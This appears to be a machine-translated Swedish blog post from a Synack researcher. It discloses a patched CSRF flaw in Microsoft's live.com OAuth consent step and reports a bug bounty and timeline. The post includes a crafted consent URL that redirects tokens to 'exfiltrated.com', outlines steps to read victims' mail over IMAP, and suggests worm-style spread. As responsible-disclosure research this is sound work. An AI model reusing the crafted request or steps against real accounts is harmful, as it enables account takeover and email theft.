på Synack vi verkligen njuta av stora sårbarheter, vare sig i webb, mobil, värd eller ens i helt upprörande enheter och system (satellit hacka någon?). Men vi håller alltid de stora resultaten som vi och SRT har gjort för våra kunder konfidentiella. Så även om detta inte kommer att vara ett inlägg om en stor vuln i en Synack-kund, täcker den den exakta typen av saker som vi ser varje vecka eller ibland dagligen: en sårbarhet i ett system med miljontals användare som leder till en fullständig kompromiss av systemsäkerhet.

jag hittade nyligen en sårbarhet i Microsofts Live.com autentiseringssystem, som, om du har ett konto hos någon Microsoft-tjänst, förmodligen skulle ha påverkat dig. Det här inlägget beskriver de fullständiga detaljerna om sårbarheten nu när Microsoft har patchat problemet.

introduktion

den genomsnittliga personens förståelse för datasäkerhet har alltid varit ganska begränsad. Förr i tiden, om någon hörde att du var inblandad i datasäkerhet, skulle standardfrågan vara ”kan du hacka min Hotmail”, eller oftare, ”kan du hacka min väns Hotmail”. Jag antar att folk fortfarande använde Yahoo mail och Microsoft hade ännu inte förvärvat Hotmail, men det är lite för långt tillbaka! Oundvikligen skulle du antingen föreslå att personen bara gissar personens lösenordsåterställningsfrågor eller installerar Sub7. Egentligen hacking Hotmail var tvungen att vara för svårt, för att inte tala om helt olagligt.

informationssäkerhetsvärlden har förändrats mycket under de senaste åren, och till skillnad från tidigare år uppmuntrar Microsoft nu helt säkerhetsforskare att försöka ”hacka Hotmail”. Naturligtvis har Hotmail förvandlats till Outlook.med, och dessa dagar vill alla veta om du kan hacka deras Facebook, men det är bredvid punkten.

Microsoft Online Services bounty-programmet uppdaterades nyligen för att inkludera ”Microsoft-konto” som ett mål, vilket i grunden är inloggningssystemen som finns på var och en av dessa domäner:
– login.windows.net
– login.microsoftonline.com
– login.live.com

i ovanstående lista, login.live.com är autentiseringssystemet som du kommer att gå igenom om du försöker autentisera till Outlook.com och ett stort antal andra Microsoft-tjänster. Jag bestämde mig för att undersöka det först för att se om jag kunde upptäcka några problem. Som förväntat verkade de olika API: erna som användes för att bearbeta en inloggning vara välhärdade. Ytterligare skyddslager fanns på många ställen; till exempel krypteras lösenord på vissa ställen med en offentlig nyckel före överföring trots all kommunikation som sker via HTTPS.

efter att ha testat i några timmar upptäckte jag några mindre problem som jag rapporterade, men inget riktigt att notera. När jag testar webbapplikationer tycker jag ofta att det vanligaste arbetsflödet också är det säkraste, så jag förgrenade mig för att undersöka andra sätt som en användare kan autentisera till live.com systemet. För nästan ett år sedan hade jag hittat flera OAuth-sårbarheter i Yammer som också var ett Microsoft Online Services bounty-mål, så det var där jag tittade Nästa för live.com. det är här de intressanta resultaten börjar!

Säkerhetsbakgrund

innan jag kommer direkt in i den upptäckta sårbarheten krävs en snabb översikt över det felaktiga säkerhetssystemet som kallas OAuth:

Wikipedia säger att ”OAuth ger klientapplikationer en”säker delegerad åtkomst” till serverresurser på uppdrag av en resursägare”. Wikipedia har också några svåra kommentarer om dess utveckling och säkerhet, som är värda att läsa för ett gott skratt. Realistiskt, alla OAuth gör är att tillåta en användare att ge tillgång till en del eller hela sitt konto tillgång till en tredje part. Jag gjorde en MS Paint ritning för att illustrera detta eftersom jag inte kunde hitta en bra på Wikipedia.

som framgår av bilden ovan har du en Server som användaren har behörighet att ge åtkomst till sitt konto till en klientapp. Mekanismen som hanterar detta bakom kulisserna kan byggas på flera olika sätt, som definieras i OAuth RFC. Ett sätt att bygga det är att ett ”implicit” autentiseringsflöde, vilket innebär att autentiseringsservern ger en åtkomstnyckel direkt till klienten. Ett annat populärt sätt är att använda en ”auktoriseringskod” – procedur, där autentiseringsservern ger ut en auktoriseringskod, som klientsystemet tar, och sedan byter ut en åtkomstnyckel med sitt klienthemliga värde. Microsoft har en bra beskrivning av deras användning av hur de har implementerat dessa mekanismer för live.com här:
https://msdn.microsoft.com/en-us/library/hh243647.aspx

grafiken de gjorde för flödet ”auktoriseringskod” ser ut så här:

en sådan bild är bra för att förstå processen, men för mig som penntestare visar också många möjligheter och platser för att saker ska gå fel. Så med det som bakgrund, till vad som upptäcktes!

Vad Kan Gå Fel?

som nämnts i ovanstående avsnitt finns det många ställen att något kan gå fel. Ett av de grundläggande stegen i OAuth-autentiseringsproceduren är att en användare väljer att bevilja en applikationsåtkomst. Detta uppnås vanligtvis genom en snabb som denna:

generellt behöver en användare bara acceptera den här prompten en gång, men tills de accepterar den, kommer den appen inte att ha tillgång till sitt konto (huruvida den genomsnittliga användaren tillåter Wes onda App att få tillgång är kanske en annan fråga!).

Tänk som en angripare, det skulle definitivt vara bra om vi kunde acceptera begäran på användarens vägnar. Tyvärr för mig var” X-Frame-Options ”-rubriken inställd på” neka ” (X-frame-options-inställningarna var också ute av utrymme för denna bounty). Så medan clickjacking är ute bestämde jag mig för att få en bättre förståelse för hur själva begäran fungerade. Om en användare klickar på ”Ja” skickas följande begäran till servern (plus några tråkiga rubriker):

medan URL-sökvägen ovan innehåller några genererade tokens visade testning att de var onödiga för att begäran skulle lyckas. Ett inlägg till följande URL skulle fungera lika bra:

https://account.live.com/Consent/Update?ru=https://login.live.com/oauth20_authorize.srf%3flc%3d1033%26client_id%3d000000004C15E107% 26scope%3dwl.grundläggande%26response_type % 3dcode%26redirect_uri % 3dhttp:// exfiltrated.com &client_id = 000000004C15E107&rd=exfiltrerad.com& scope=wl.grundläggande

cookien som skickades med begäran behövde innehålla en giltig sessionstoken i ”IPT”. Detta cookievärde fylls i avhttps:/ / login.live.com / oauth20_authorize.srf innan sidan som uppmanar användaren om tillstånd visas. Detta händer oavsett om en användare i slutändan klickar på ”Ja”, även om den ställs in av någon Javascript-kod, så om vi attackerar denna process måste vi tvinga användaren att ladda den sidan någon gång.

om du följer med, förhoppningsvis frågar du nu, ” OK, så hur är det med postförfrågan själv och det kanarievärdet?”. Jag hade undersökt alla andra parametrar och kommunikationsflöden först, eftersom ett värde märkt ”canary” skickas med en postförfrågan betyder nästan säkert att det används som ett token för att förhindra CSRF-attacker. Poängen med säkerhetstestning är dock att verifiera att antagandena verkligen är korrekta. Så jag ändrade postförfrågan och ändrade kanarievärdet till”hacks_go_here”. Istället för att omdirigera till ett 500-fel skickade servern tillbaka ett positivt svar!

CSRF till PoC

eftersom CSRF-token var det sista jag hade försökt manipulera med, visste jag säkert att detta skulle göra för en giltig CSRF-sårbarhet. Som med nästan alla CSRF-attacker var den enda förutsättningen att offret var inloggad och hade en giltig sessionstoken i sin cookie. Till skillnad från många andra webbsårbarheter är effekten av en CSRF-sårbarhet helt beroende av den drabbade API-funktionen. Denna CSRF låter mig kringgå användarinteraktionssteget i OAuth-autentiseringssystemet, men en PoC är värd tusen ord, så nästa steg var att bygga lite kod för att på lämpligt sätt demo effekten av denna sårbarhet.

i det normala OAuth-autentiseringsflödet, efter att användaren beviljat åtkomst, ska servern returnera en åtkomstkod till användaren. Användaren skickar det till klientapplikationen, som sedan kan använda de beviljade behörigheterna. A live.com klientprogram kan begära ett brett utbud av möjliga behörigheter. Jag övervägde att bara dumpa användarens kontakter eller något liknande, men varför offra på målet att hacka Hotmail nu? De behörigheter som min PoC behövde då var:

wl.offline_access + wl.imap

Offline var inte allt som behövs, men jag kastade in det för att visa att det skulle beviljas.

med de nödvändiga behörigheterna som valts finns det 4 steg för att få tillgång till en användares e-postkonto:

1) Vi måste göra en auktoriseringsbegäran för vår klientapp med ovanstående behörigheter. Servern uppmanar användaren att acceptera eller vägra.
2) när en användare accepterar vår begäran om dessa behörigheter kommer servern att lägga till en ”#access_token=<token>” parameter till omdirigeringen som vi instruerar den att ta.
3) eftersom våra serversideskript behöver tillgång till det värdet måste vi göra en enkel sida för att ta token från webbläsarens URL-fält och skicka det till vår server.
4) slutligen behöver vi några skript serversidan för att ta det token, och använda den för att logga in på IMAP. Microsoft har en något invecklad process för att använda OAuth-token för att logga in direkt via IMAP. Några exempelbibliotek finns för detta, och hela processen beskrivs på den här sidan:
https://msdn.microsoft.com/en-us/library/dn440163.aspx

det arbetsflödet skulle fungera bra förutsatt att användaren väljer att ge oss tillstånd. Jag behöver nu bara ändra arbetsflödet för att istället inkludera CSRF. Som tidigare nämnts är live.com autentiseringsservern förväntar sig en sessionstoken i ipt-cookien. Vi kan se till att fylls genom att först skicka användaren till en validhttps:/ / login.live.com / oauth20_authorize.srf sida. Omedelbart efter kan vi utföra CSRF-begäran som kommer att använda det nyligen befolkade cookievärdet. Detta kan nu ersätta steg 1 och tvinga servern att omedelbart hoppa till steg 2.

Demo och Impact

Microsoft har nu fixat problemet, men här är en snabb video som visar den i aktion.

som kan ses i videon, allt som verkligen är nödvändigt är att få offret att besöka din skadliga webbsida. Demon var inte avsedd att vara lömsk och köras i bakgrunden av en webbplats, eller som en del av någon skadlig bannerannons, men det verkligen kunde ha gjorts på det sättet.

att använda detta som en riktad attack har definitivt en stor inverkan, men det här är också den perfekta typen av sårbarhet för att bli en mask. Med IMAP-och kontaktbokåtkomst kan en mask enkelt skicka e-post till alla användares kontakter (eller åtminstone de som använder Hotmail, Outlook.com, etc), med något lockande,” ILOVEYOU ” virus stil, och sprids till varje användare som klickar på länken.

slutliga tankar och tidslinje

jakt på denna sårbarhet och att göra en fungerande PoC involverade en hel del ansträngningar att gräva igenom de olika live.com API: er. Ser tillbaka på allt dock, detta är verkligen bara en klassisk CSRF sårbarhet. Det enda som är överraskande med det är att det är i ett kritiskt autentiseringssystem som i slutändan kan användas för att ta över användarens konto.

som en extern testare har jag ingen aning om hur länge denna sårbarhet kan ha funnits, eller om någon någonsin försökt utnyttja den. Samtidigt är det fynd som detta som definitivt visar värdet av att låta externa testare skicka sårbarheter till ditt företag innan angripare utnyttjar dem mot dig. Microsoft är långt före de flesta företag när det gäller säkerhet, och ändå är fortfarande suceptible till frågor som denna. Synacks erfarenhet har varit att sårbarheter upptäcks även i till synes väl säkrade system när en stor grupp externa forskare testar det systemet. Det är i huvudsak förutsättningen att Synack verkar på, och det är därför fler och fler företag erbjuder sina egna bounty-program (jag skulle naturligtvis rekommendera Synacks program över att köra ditt eget!).

som kan ses i tidslinjen nedan, Microsoft var lyhörd för att få en fix för denna fråga ut, vilket var bra att se.

tidslinje:
23 augusti 2015: sårbarhet upptäckt
25 augusti 2015: sårbarhet rapporterad till Microsoft
31 augusti 2015: Microsoft utfärdar ärendenummer för sårbarhet
15 September 2015: Microsoft släpper fix för problem, utfärdar $24,000 bounty (double bounties promo)